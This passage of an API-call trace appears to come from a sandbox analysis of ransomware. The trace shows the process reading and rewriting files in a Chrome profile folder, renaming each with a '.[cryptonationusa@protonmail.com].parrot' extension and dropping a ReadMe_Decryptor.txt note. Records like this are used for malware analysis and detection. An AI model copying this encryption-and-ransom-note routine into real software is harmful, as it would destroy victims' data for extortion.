rules\\000003.log.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0050.801] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d3880 | out: hHeap=0x5b0000) returned 1 [0050.801] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb180 | out: hHeap=0x5b0000) returned 1 [0050.801] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9fd8 | out: hHeap=0x5b0000) returned 1 [0050.801] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x5d3880 [0050.801] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x5cb180 [0050.801] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0050.801] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0050.801] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e3f8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x274 [0050.802] GetFileType (hFile=0x274) returned 0x1 [0050.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0050.812] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82adc050, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82adc050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82adc050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENT", cAlternateFileName="")) returned 1 [0050.812] lstrcmpW (lpString1="CURRENT", lpString2="ReadMe_Decryptor.txt") returned -1 [0050.812] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\CURRENT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\current"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x274 [0050.813] GetFileSize (in: hFile=0x274, lpFileSizeHigh=0x18e680 | out: lpFileSizeHigh=0x18e680*=0x0) returned 0x10 [0050.813] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x128, nNumberOfBytesToLockHigh=0x0) returned 1 [0050.813] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 0 [0050.813] CloseHandle (hObject=0x274) returned 1 [0050.813] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82ad9940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82ad9940, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ad9940, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOCK", cAlternateFileName="")) returned 1 [0050.813] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82ad9940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82ad9940, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8dae37f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOG", cAlternateFileName="")) returned 1 [0050.813] lstrcmpW (lpString1="LOG", lpString2="ReadMe_Decryptor.txt") returned -1 [0050.813] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0051.177] GetFileSize (in: hFile=0x278, lpFileSizeHigh=0x18e680 | out: lpFileSizeHigh=0x18e680*=0x0) returned 0x9a [0051.177] LockFile (hFile=0x278, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1b2, nNumberOfBytesToLockHigh=0x0) returned 1 [0051.177] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0051.178] ReadFile (in: hFile=0x278, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0051.178] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0051.178] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x9a, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0x9a, lpOverlapped=0x0) returned 1 [0051.179] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0051.179] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0051.179] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0051.179] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0051.179] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0051.179] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0051.179] GetLastError () returned 0x0 [0051.179] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0051.179] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0051.179] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0051.179] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0051.179] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0051.179] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0051.179] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0051.179] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0051.179] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0051.179] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0051.179] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0051.179] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0051.179] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0051.179] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0051.179] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0051.179] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0051.179] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d588 [0051.179] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0051.179] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0051.180] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d588 | out: hHeap=0x5b0000) returned 1 [0051.180] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0051.180] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0051.180] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0051.180] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0051.180] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x5cb308 [0051.180] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0051.180] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5d3880 [0051.180] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb308 | out: hHeap=0x5b0000) returned 1 [0051.180] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1b8) returned 0x2240060 [0051.180] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d3880 | out: hHeap=0x5b0000) returned 1 [0051.180] WriteFile (in: hFile=0x278, lpBuffer=0x2240060*, nNumberOfBytesToWrite=0x1b8, lpNumberOfBytesWritten=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2240060*, lpNumberOfBytesWritten=0x18e604*=0x1b8, lpOverlapped=0x0) returned 1 [0051.180] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240060 | out: hHeap=0x5b0000) returned 1 [0051.180] UnlockFile (hFile=0x278, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1b2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0051.180] CloseHandle (hObject=0x278) returned 1 [0051.181] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x5d3880 [0051.181] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x11e) returned 0x2240060 [0051.181] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d3880 | out: hHeap=0x5b0000) returned 1 [0051.181] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\log.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0051.182] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240060 | out: hHeap=0x5b0000) returned 1 [0051.182] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb180 | out: hHeap=0x5b0000) returned 1 [0051.182] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d5f30 | out: hHeap=0x5b0000) returned 1 [0051.182] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x5d3880 [0051.182] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x5cb180 [0051.182] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0051.182] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0051.182] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e3f8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0051.183] GetFileType (hFile=0x278) returned 0x1 [0051.183] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0051.194] LockFile (hFile=0x278, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x141, nNumberOfBytesToLockHigh=0x0) returned 1 [0051.194] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0051.194] ReadFile (in: hFile=0x278, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0051.195] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0051.195] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x29, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0x29, lpOverlapped=0x0) returned 1 [0051.195] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0051.195] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0051.195] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0051.195] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0051.195] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0051.195] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0051.196] GetLastError () returned 0x0 [0051.196] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0051.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0051.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0051.196] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0051.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0051.196] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0051.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0051.196] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0051.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0051.196] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0051.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0051.196] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0051.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0051.196] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0051.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0051.196] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0051.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d588 [0051.196] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0051.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0051.196] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d588 | out: hHeap=0x5b0000) returned 1 [0051.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0051.196] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0051.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x148) returned 0x5cce70 [0051.196] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0051.196] WriteFile (in: hFile=0x278, lpBuffer=0x5cce70*, nNumberOfBytesToWrite=0x148, lpNumberOfBytesWritten=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x5cce70*, lpNumberOfBytesWritten=0x18e604*=0x148, lpOverlapped=0x0) returned 1 [0051.197] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce70 | out: hHeap=0x5b0000) returned 1 [0051.197] UnlockFile (hFile=0x278, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x141, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0051.197] CloseHandle (hObject=0x278) returned 1 [0051.197] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x5d3880 [0051.197] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14e) returned 0x2240060 [0051.197] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d3880 | out: hHeap=0x5b0000) returned 1 [0051.197] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\MANIFEST-000001" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\manifest-000001"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\MANIFEST-000001.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\manifest-000001.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0051.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240060 | out: hHeap=0x5b0000) returned 1 [0051.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb180 | out: hHeap=0x5b0000) returned 1 [0051.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5eba28 | out: hHeap=0x5b0000) returned 1 [0051.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x5d3880 [0051.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x5cb180 [0051.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0051.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0051.204] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e3f8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0051.205] GetFileType (hFile=0x278) returned 0x1 [0051.205] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0051.215] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0051.340] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82ad9940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xad877280, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xad877280, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.340] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82bed750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82bed750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xad342260, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x278, dwReserved0=0x0, dwReserved1=0x0, cFileName="000003.log.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="000003~1.PAR")) returned 1 [0051.340] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60cf80 [0051.340] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cf80 | out: hHeap=0x5b0000) returned 1 [0051.340] lstrcmpW (lpString1="000003.log.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0051.340] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5caf68 [0051.340] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82adc050, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82adc050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82adc050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENT", cAlternateFileName="")) returned 1 [0051.340] lstrcmpW (lpString1="CURRENT", lpString2="ReadMe_Decryptor.txt") returned -1 [0051.340] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d8788 [0051.340] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82ad9940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82ad9940, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ad9940, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOCK", cAlternateFileName="")) returned 1 [0051.340] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82ad9940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82ad9940, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xad82afc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOG.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="LOG_CR~1.PAR")) returned 1 [0051.341] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b6e8 [0051.341] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0051.341] lstrcmpW (lpString1="LOG.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0051.341] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x5cb090 [0051.341] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82ad9940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82ad9940, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xad851120, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x148, dwReserved0=0x0, dwReserved1=0x0, cFileName="MANIFEST-000001.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MANIFE~1.PAR")) returned 1 [0051.341] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60cf80 [0051.341] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cf80 | out: hHeap=0x5b0000) returned 1 [0051.341] lstrcmpW (lpString1="MANIFEST-000001.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0051.341] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x5cb1a8 [0051.341] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xad4e5180, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xad4e5180, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xad877280, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0051.341] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0051.341] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0051.341] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0051.341] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xad4e5180, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xad4e5180, 